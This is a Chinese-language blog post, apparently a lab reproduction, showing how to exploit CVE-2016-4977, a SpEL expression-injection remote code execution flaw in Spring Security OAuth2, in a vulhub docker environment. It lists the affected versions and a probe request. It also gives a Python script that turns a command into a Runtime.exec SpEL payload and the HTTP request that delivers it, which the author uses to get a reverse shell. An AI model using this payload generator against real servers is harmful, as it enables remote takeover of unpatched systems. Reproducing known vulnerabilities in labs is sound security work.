Spring Security OAuth2 遠端命令執行漏洞
阿新 • • 發佈:2021-08-13
Spring Security OAuth2 遠端命令執行漏洞
Spring Security OAuth2 遠端命令執行漏洞 (CVE-2016-4977)
Spring Security OAuth 是為 Spring 框架提供安全認證支援的一個模組。在其使用 whitelabel views 來處理錯誤時,由於使用了Springs Expression Language (SpEL),攻擊者在被授權的情況下可以通過構造惡意引數來遠端執行命令。
漏洞環境
我們先下載環境,在github有別人直接搭建好的docker環境我們直接拿來用即可
git clone git://github.com/vulhub/vulhub.git cd vulhub/spring/CVE-2016-4977/ docker-compose up -d
訪問IP:8080/即可看到介面。
影響版本
Spring Security OAuth 2.3 - 2.3.2
Spring Security OAuth 2.2 - 2.2.1
Spring Security OAuth 2.1 - 2.1.1
Spring Security OAuth 2.0 - 2.0.14
漏洞復現
輸入POC回顯執行的話證明漏洞存在
GET /oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test HTTP/1.1 Host: 192.168.200.23:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46YWRtaW4= Connection: close Upgrade-Insecure-Requests: 1
發現漏洞存在
執行指令碼生成poc
message = input('Enter message to encode:') poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0]) for ch in message[1:]: poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) poc += ')}' print(poc)
massage寫入編碼過後的反彈shell,
編碼網址把生產poc放入傳送包
GET /oauth/authorize?response_type=POC&client_id=acme&scope=openid&redirect_uri=http://test HTTP/1.1 Host: 192.168.200.23:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46YWRtaW4= Connection: close Upgrade-Insecure-Requests: 1
檢視監聽發現執行成功